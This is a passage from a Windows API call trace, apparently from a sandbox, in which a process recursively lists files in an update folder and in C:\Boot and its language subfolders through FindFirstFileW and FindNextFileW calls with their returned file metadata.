| out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0044.325] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0044.325] FindClose (in: hFindFile=0x10c9490 | out: hFindFile=0x10c9490) returned 1 [0044.326] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x2b10000) returned 1 [0044.327] FindNextFileW (in: hFindFile=0x10c9450, lpFindFileData=0x32ef7d8 | out: lpFindFileData=0x32ef7d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x32efa00, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0044.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x10dc2d0 [0044.328] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0044.328] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD", cAlternateFileName="")) returned 1 [0044.328] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0044.329] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0044.329] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0044.329] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0044.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbe90 [0044.329] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.329] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.330] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0044.331] FindClose (in: hFindFile=0x10dbe90 | out: hFindFile=0x10dbe90) returned 1 [0044.331] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.331] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0044.331] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0044.331] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0044.331] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0044.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbf50 [0044.337] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.337] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.337] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.337] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.338] FindClose (in: hFindFile=0x10dbf50 | out: hFindFile=0x10dbf50) returned 1 [0044.338] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.338] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="da-DK", cAlternateFileName="")) returned 1 [0044.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc1d0 [0044.338] FindNextFileW (in: hFindFile=0x10dc1d0, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.339] FindNextFileW (in: hFindFile=0x10dc1d0, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.339] FindNextFileW (in: hFindFile=0x10dc1d0, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.339] FindNextFileW (in: hFindFile=0x10dc1d0, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.340] FindClose (in: hFindFile=0x10dc1d0 | out: hFindFile=0x10dc1d0) returned 1 [0044.340] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.340] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="de-DE", cAlternateFileName="")) returned 1 [0044.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc4d0 [0044.340] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.340] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.340] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.341] FindClose (in: hFindFile=0x10dc4d0 | out: hFindFile=0x10dc4d0) returned 1 [0044.341] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="el-GR", cAlternateFileName="")) returned 1 [0044.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbe10 [0044.342] FindNextFileW (in: hFindFile=0x10dbe10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.342] FindNextFileW (in: hFindFile=0x10dbe10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.342] FindNextFileW (in: hFindFile=0x10dbe10, lpFindFileData=0x32ef2d0 | out: 